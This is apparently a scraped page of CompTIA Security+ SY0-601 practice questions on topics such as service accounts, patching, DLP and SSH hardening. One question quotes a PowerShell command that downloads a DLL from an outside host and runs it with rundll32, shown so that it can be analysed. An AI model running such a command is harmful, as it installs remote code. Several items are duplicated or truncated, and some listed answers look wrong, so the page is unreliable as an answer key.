While troubleshooting a service disruption on a mission-critical server, a technician discovered the user account that was configured to run automated processes was disabled because the user's password failed to meet password complexity requirements. Which of the following would be the BEST solution to securely prevent future issues?

Configuring a service account to run the processes

Using an administrator account to run the processes and disabling the account when it is not in use

Implementing a shared account the team can use to run automated processes

Configuring a service account to run the processes

Removing the password complexity requirements for the user account

A company completed a vulnerability scan. The scan found malware on several systems that were running older versions of Windows. Which of the following is MOST likely the cause of the malware infection?

Improper or weak patch management

Sales team members have been receiving threatening voicemail messages and have reported these incidents to the IT security team. Which of the following would be MOST appropriate for the IT security team to analyze?

Session Initiation Protocol traffic logs

A new security engineer has started hardening systems. One o( the hardening techniques the engineer is using involves disabling remote logins to the NAS. Users are now reporting the inability lo use SCP to transfer files to the NAS, even though the data is still viewable from the users' PCs. Which of the following is the MOST likely cause of this issue?

SSH was turned off instead of modifying the configuration file.

TFTP was disabled on the local hosts.

SSH was turned off instead of modifying the configuration file.

Remote login was disabled in the networkd.conf instead of using the sshd. conf.

Network services are no longer running on the NAS

A Chief Information Security Officer (CISO) is evaluating the dangers involved in deploying a new ERP system for the company. The CISO categorizes the system, selects the controls that apply to the system, implements the controls, and then assesses the success of the controls before authorizing the system. Which of the following is the CISO using to evaluate the environment for this new ERP system?

The Diamond Model of Intrusion Analysis

A user is trying to upload a tax document, which the corporate finance department requested, but a security program IS prohibiting the upload A security analyst determines the file contains Pll, Which of the following steps can the analyst take to correct this issue?

Modify the exception list on the DLP to allow the upload

Create a URL filter with an exception for the destination website.

Add a firewall rule to the outbound proxy to allow file uploads

Issue a new device certificate to the user's workstation.

Modify the exception list on the DLP to allow the upload

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dllWhich of the following BEST describes what the analyst found?

A Powershell code is performing a DLL injection.

A PowerShell code is displaying a picture.

A PowerShell code is configuring environmental variables.

A PowerShell code is changing Windows Update settings.

An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to be addressed. Which of the following is the MOST likely cause for the high number of findings?

The vulnerability scanner was not properly configured and generated a high number of false positives

Third-party libraries have been loaded into the repository and should be removed from the codebase.

The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue.

The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.

CompTIA SY0-601 Practice Test 6 - Free Online Exam Prep & Questions

Question 1 / 40

Which of the following Is the BEST reason to maintain a functional and effective asset management policy that aids in ensuring the security of an organization?

To provide data to quantify risk based on the organization's systems

To keep all software and hardware fully patched for known vulnerabilities

To only allow approved, organization-owned devices onto the business network

To standardize by selecting one laptop model for all users in the organization

Comment (0)

CompTIA SY0-601 Practice Test 6

Question

CompTIA SY0-601 Practice Tests

Practice Tests